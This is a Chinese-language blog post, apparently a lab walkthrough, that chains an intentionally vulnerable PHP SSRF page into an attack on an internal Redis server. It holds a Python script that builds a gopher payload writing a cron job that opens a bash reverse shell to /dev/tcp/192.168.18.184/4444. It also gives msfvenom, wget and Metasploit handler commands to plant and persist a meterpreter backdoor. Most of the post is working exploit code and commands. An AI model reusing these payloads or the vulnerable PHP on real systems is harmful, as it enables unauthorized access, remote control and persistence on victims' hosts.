Redis和SSRF不同主机,进行入侵提取

  • 创建两个主机
    • 一个开启redis远程访问,但没有web,同时设置只允许另一个ip访问 192.168.18.189
      设置规则
      
      iptables -I INPUT -s 192.168.18.171 -p tcp --dport 6379 -j ACCEPT  #允许指定ip访问6379端口
      iptables -A INPUT -s  0.0.0.0/0 -p tcp --dport 6379 -j DROP    #拒绝所有6379访问

      • 一个进行远程连接,开启web 192.168.18.171
    • 192.168.18.171,创建以下代码,进行ssrf漏洞
      <?php
      $url=$_POST['url'];
      //创建一个curl资源
      $ch=curl_init();
      //设置url和相应的选项
      curl_setopt($ch,CURLOPT_URL,$url);
      curl_setopt($ch,CURLOPT_HEADER,1);
      //抓取url并把它传递给浏览器
      curl_exec($ch);
      //关闭curl资源,并释放系统资源
      curl_close($ch);
      ?>

    • 进行测试,看能否访问指定端口

     

  • 抓包进行用户名密码爆破

 

  • 爆破成功,获取密码

 

  • 进行构造payload
    import urllib.parse
    
    passwd = '123456'
    set = 'set 1'
    sh ="\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.18.184/4444 0>&1\n\n"   #可以直接使用不需要转义
    sh = sh.replace(' ',"####")  #替换空格
    shell =f'{set} {sh}'
    # print(shell)
    dir = 'config set dir /var/spool/cron/'
    name = 'config set dbfilename root'
    
    payloads = [f'auth {passwd}','flushdb',f'{shell}',f'{dir}',f'{name}','save']  #填充内容
    payload = ''
    for pay in payloads:
        pa = pay.split(" ")    #遍历,以空格作为分隔符
        # print(p)
        payload = payload + '*' + str(len(pa)) + r'\r\n'   #构造payload原始语句
        for p in pa:
            payload = payload + "$" + str(len(p.replace('####',' '))) + r'\r\n' + p.replace('####',' ') + r'\r\n'   #构造payload原始语句
    print(payload)
    url = urllib.parse.quote(payload).replace('%','%25').replace('5Cr','0D').replace('5Cn','0A')  #将构造好语句转换为url编码,同时为了满足gopher将%转换为%25,转换过程有错误,/r/n,url编码错误,进行手动替换
    print(url)

  • 构造完成进行,gopher输入

 

  • 反弹成功

 

  • 该模式下有一部分命令无法使用
    [root@localhost ~]# env    #查看环境变量
    env
    XDG_SESSION_ID=42
    SHELL=/bin/bash
    USER=root
    PATH=/usr/bin:/bin:usr/sbin   #重要
    PWD=/root
    LANG=zh_CN.UTF-8
    HOME=/root
    SHLVL=2
    LOGNAME=root
    LESSOPEN=||/usr/bin/lesspipe.sh %s
    XDG_RUNTIME_DIR=/run/user/0
    _=/usr/bin/env
    
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin  #使用export添加变量
    
    成功,可以使用命令

  • 进行拓展
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.18.184 LPORT=4444 -f elf > tmp/shell.elf  #制作反弹shell木马
    python -m http.server 80   #在当前目录开启http服务
    wget http://192.168.18.184:80/shell.elf
     #靶机下载
    use exploit/multi/handler  #进入msf选择指定文件
    set payload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.18.184
    set lport 4444   #设置监听
    echo "/n/n* * * * * ./root/shell.elf" >> /var/spool/cron/root  #写入定时任务
    chmod a+x shell.elf  #给予执行权限

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值